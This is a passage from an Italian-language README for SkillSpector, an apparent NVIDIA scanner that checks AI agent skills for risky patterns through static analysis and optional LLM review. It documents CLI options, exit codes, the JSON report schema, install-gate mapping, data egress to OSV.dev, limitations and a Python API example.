Provider CLI (claude_cli, codex_cli): Non è necessaria alcuna chiave API. L'autenticazione è gestita interamente dalla sessione di login dell'agent CLI stesso (claude auth login / codex login). SkillSpector non legge né inoltra mai chiavi API quando questi provider sono attivi. Il sottoprocesso viene eseguito in una sandbox rafforzata: strumenti disabilitati, nessun MCP, modalità sandbox di sola lettura (codex), e il contenuto delle skill non attendibile viene fornito solo tramite stdin.

Opzioni CLI```bash

skillspector scan --help

Options: -f, --format [terminal|json|markdown|sarif] Output format [default: terminal] -o, --output PATH Output file path --no-llm Skip LLM analysis (static only) --yara-rules-dir PATH Extra YARA rules directory -b, --baseline PATH Suppress findings listed in a baseline --show-suppressed List baseline-suppressed findings -V, --verbose Show detailed progress --help Show this message and exit

Generate a baseline of all current findings (see docs/SUPPRESSION.md)

skillspector baseline [-o FILE] [--no-llm] [--reason TEXT]

## Integrare SkillSpector

SkillSpector è progettato per essere guidato da altri strumenti (pipeline CI, gate di installazione, integrazioni con editor). Il suo codice di uscita e l'output JSON sono un contratto stabile.

### Codici di uscita

`skillspector scan` termina con:

| Codice | Significato |
|------|---------|
| `0` | Scansione completata, `risk_score` ≤ 50 (raccomandazione `SAFE` o `CAUTION`) |
| `1` | Scansione completata, `risk_score` > 50 (raccomandazione `DO_NOT_INSTALL`) |
| `2` | Errore (input non valido, sorgente non leggibile, errore interno) |

> Il codice di uscita raggruppa `SAFE` e `CAUTION` in `0`. Per agire diversamente su di essi (ad es. *avvisare* su `CAUTION` ma *bloccare* su `DO_NOT_INSTALL`), leggere il campo `recommendation` dall'output JSON invece di affidarsi al codice di uscita.

### Output leggibile dalla macchina

`--format json` produce un report JSON; senza `--output`/`-o` viene scritto su stdout:```bash
skillspector scan ./my-skill/ --format json

La forma di livello superiore è (questo esempio mostra una scansione completa basata su LLM; con --no-llm, metadata.llm_requested è false):```json { "skill": { "name": "...", "source": "...", "scanned_at": "<ISO 8601>" }, "risk_assessment": { "score": 0, "severity": "LOW", "recommendation": "SAFE" }, "components": [ { "path": "...", "type": "...", "lines": 0, "executable": false, "size_bytes": 0 } ], "issues": [ { "id": "...", "category": "...", "severity": "...", "confidence": 0.0, "location": { "file": "...", "start_line": 0 } } ], "metadata": { "has_executable_scripts": false, "skillspector_version": "...", "llm_requested": true, "llm_available": true, "inference_usage": [ { "node": "semantic_security_discovery", "request_kind": "structured_output", "provider": "nv_inference", "model": "azure/anthropic/claude-opus-4-6", "model_source": "provider_response", "usage_source": "provider_response", "prompt_tokens": 1000, "completion_tokens": 100, "cached_tokens": 400, "cache_write_tokens": 50, "total_tokens": 1100 } ] } }

- `risk_assessment.severity` ∈ `LOW | MEDIUM | HIGH | CRITICAL`.
- `risk_assessment.recommendation` ∈ `SAFE | CAUTION | DO_NOT_INSTALL`, mappato dalla severità: `LOW → SAFE`, `MEDIUM → CAUTION`, `HIGH`/`CRITICAL → DO_NOT_INSTALL`.
- `metadata.llm_error` appare solo quando l'analisi LLM è stata richiesta ma non è disponibile.
- `metadata.inference_usage` contiene un record sanitizzato per ogni risposta LLM quando il
  provider espone i contatori di token. È una lista vuota quando l'utilizzo non è disponibile;
  SkillSpector non stima mai i token mancanti. I totali dei prompt includono le letture e
  le scritture della cache, così il pricing a valle può separare in sicurezza quelle partizioni.
  `model_source` distingue un modello provider identificato in modo indipendente dal
  modello esatto richiesto utilizzato quando l'identità della risposta è assente o ambigua.
  SkillSpector attualmente non invia i controlli di prompt-cache di Anthropic, quindi le sue
  richieste di scansione non possono selezionare i livelli separati di cache-write da 5 minuti o 1 ora;
  i campi di risposta specifici per TTL vengono normalizzati in modo difensivo nel contatore
  aggregato di cache-write.
- Vedi [Inference usage telemetry](https://github.com/nvidia/skillspector/blob/main/docs/INFERENCE_USAGE.md) per il contratto completo di
  provenienza, contabilità della cache, privacy, ingestione fail-closed e pricing a valle.
- La forma completa per singolo problema è definita da `Finding.to_dict()` in [models.py](https://github.com/nvidia/skillspector/blob/main/src/skillspector/models.py); affidati ai campi sopra e tratta qualsiasi campo aggiuntivo come best-effort.

Per il tooling CI/IDE, `--format sarif` emette SARIF 2.1.0.

### Mappatura consigliata del gate

Quando usi SkillSpector come gate di installazione, mappa la raccomandazione a un'azione:

| `recommendation` | Azione suggerita |
|------------------|------------------|
| `SAFE` | consenti |
| `CAUTION` | chiedi conferma / avvisa l'utente |
| `DO_NOT_INSTALL` | blocca |

SkillSpector calcola la fascia di punteggio e la raccomandazione; quanto sia severo il gate (ad es. se `CAUTION` blocca in CI) è una decisione di policy per il tool che lo integra.

## Sviluppo

### Setup

Tutti i target `make` presuppongono che un ambiente virtuale sia già creato e attivato. Il Makefile usa **uv** se disponibile, altrimenti **pip**.```bash
# Clone, create venv, activate, install dev dependencies
git clone https://github.com/NVIDIA/skillspector.git
cd skillspector
uv venv .venv && source .venv/bin/activate
# or: python3 -m venv .venv && source .venv/bin/activate
make install-dev

# Run tests
make test

# Run tests with coverage
make test-cov

# Run linting
make lint

# Format code
make format

Come funziona

SkillSpector utilizza una pipeline di rilevamento a due stadi:

Stadio 1: Analisi statica

  • Corrispondenza rapida di pattern basata su regex attraverso 11 analizzatori statici
  • Analisi comportamentale basata su AST che rileva chiamate pericolose (exec, eval, subprocess, ecc.)
  • Ricerche di vulnerabilità in tempo reale tramite OSV.dev per CVE note nelle dipendenze
  • Analizza tutti i file idonei all'analizzatore nella skill
  • Alto recall (intercetta la maggior parte dei problemi)
  • Precisione moderata (alcuni falsi positivi)

Una firma OpenSSF Model Signing valida a livello root (skill.oms.sig) viene mantenuta nell'inventario dei componenti come tipo oms_signature, ma esclusa dall'analisi statica e del contenuto LLM. I bundle OMS contengono necessariamente lunghi campi payload, firma e certificato codificati in base64; i controlli generici sul codice offuscato possono altrimenti classificare erroneamente quei campi come contenuto eseguibile nascosto. Il riconoscitore verifica la struttura minima OMS DSSE/in-toto; non verifica la firma, la catena di certificati, la voce del transparency log o l'identità del firmatario. I file di firma non validi o non riconosciuti vengono analizzati normalmente.

Stadio 2: Analisi semantica LLM (opzionale)

  • Valuta contesto e intento
  • Filtra i falsi positivi
  • Fornisce spiegazioni leggibili dall'uomo
  • Migliora la precisione a ~87%

Il prompt LLM include protezioni anti-jailbreak per impedire che skill malevole manipolino l'analisi.

Ricerche di vulnerabilità in tempo reale (SC4)

SC4 utilizza l'API OSV.dev per verificare le dipendenze rispetto all'intero database Open Source Vulnerabilities — coprendo decine di migliaia di advisory su PyPI e npm.

  • Nessuna chiave API richiesta — OSV.dev è gratuito e non autenticato.
  • Query in batch — tutte le dipendenze vengono verificate in una singola chiamata HTTP.
  • Fallback automatico — se OSV.dev non è raggiungibile (air-gapped/offline), viene utilizzata una piccola lista di fallback integrata.
  • Caching — i risultati vengono memorizzati nella cache in memoria per 1 ora per evitare chiamate API ridondanti durante una sessione.

Lo strumento richiede accesso HTTPS in uscita a api.osv.dev per i dati di vulnerabilità in tempo reale. Quando non è disponibile, i risultati sono limitati alla lista di fallback statica.

Modello di fiducia ed egress dei dati

SkillSpector è difesa in profondità, non una sandbox. Sappi cosa fa e cosa non fa prima di affidarti ad esso:

  • Non esegue mai la skill analizzata. Tutta l'analisi è statica (regex, AST Python, YARA) più un'opzionale valutazione LLM dei contenuti dei file — il codice della skill non viene mai eseguito.
  • L'analisi LLM invia i contenuti dei file idonei all'analizzatore al provider configurato. Quando l'analisi LLM è abilitata (impostazione predefinita), i contenuti dei file vengono inviati all'endpoint SKILLSPECTOR_PROVIDER attivo. I file di firma OMS riconosciuti sono esclusi. Usa --no-llm per mantenere i contenuti in locale (solo analisi statica).
  • SC4 invia i nomi delle dipendenze a OSV.dev. Il controllo della supply-chain interroga OSV.dev con i nomi dei pacchetti e le versioni dichiarate dalla skill, per cercare CVE note. Questo è fondamentale per il controllo e viene eseguito anche con --no-llm. Invia le coordinate delle dipendenze (non i contenuti dei file), non richiede chiave API e ricade su una lista inclusa quando OSV.dev non è raggiungibile.
  • Non isola l'host in una sandbox. SkillSpector segnala pattern rischiosi prima che tu installi una skill; non contiene né isola una skill che scegli comunque di installare.

Limitazioni

  • Contenuto non in inglese: può non rilevare pattern in altre lingue
  • Attacchi basati su immagini: non può analizzare testo nelle immagini
  • Codice cifrato/binario: non può analizzare contenuto compilato o cifrato
  • Comportamento a runtime: solo analisi statica, nessuna esecuzione dinamica
  • SC4 offline: senza accesso di rete a api.osv.dev, SC4 utilizza una piccola lista di fallback statica

Contesto di ricerca

Basato sulla ricerca "Agent Skills in the Wild: An Empirical Study of Security Vulnerabilities at Scale" (Liu et al., 2026):

  • Dataset: 42.447 skill dai principali marketplace
  • Vulnerabili: il 26,1% contiene almeno una vulnerabilità
  • Alta gravità: il 5,2% mostra probabile intento malevolo
  • Risultato chiave: le skill con script eseguibili hanno 2,12 volte più probabilità di essere vulnerabili

Integrazione API Python```python

from skillspector import graph

Invoke the LangGraph workflow

result = graph.invoke({ "input_path": "/path/to/skill", "output_format": "json", # terminal, json, markdown, or sarif "use_llm": True, # False for static-only analysis })

Access results

print(f"Risk Score: {result['risk_score']}/100") print(f"Severity: {result['risk_severity']}") print(f"Recommendation: {result['risk_recommendation']}")

for finding in result["filtered_findings"]: print(f"[{finding['severity']}] {finding['rule_id']}: {finding['message']}")

## Licenza

Apache License 2.0 - consulta [LICENSE](https://github.com/nvidia/skillspector/blob/main/LICENSE) per i dettagli.

## Contribuire

I contributi sono benvenuti! Ti invitiamo a leggere le nostre linee guida per i contributi e a inviare pull request.

## Supporto

- **Problemi**: [GitHub Issues](https://github.com/NVIDIA/skillspector/issues)

Categorie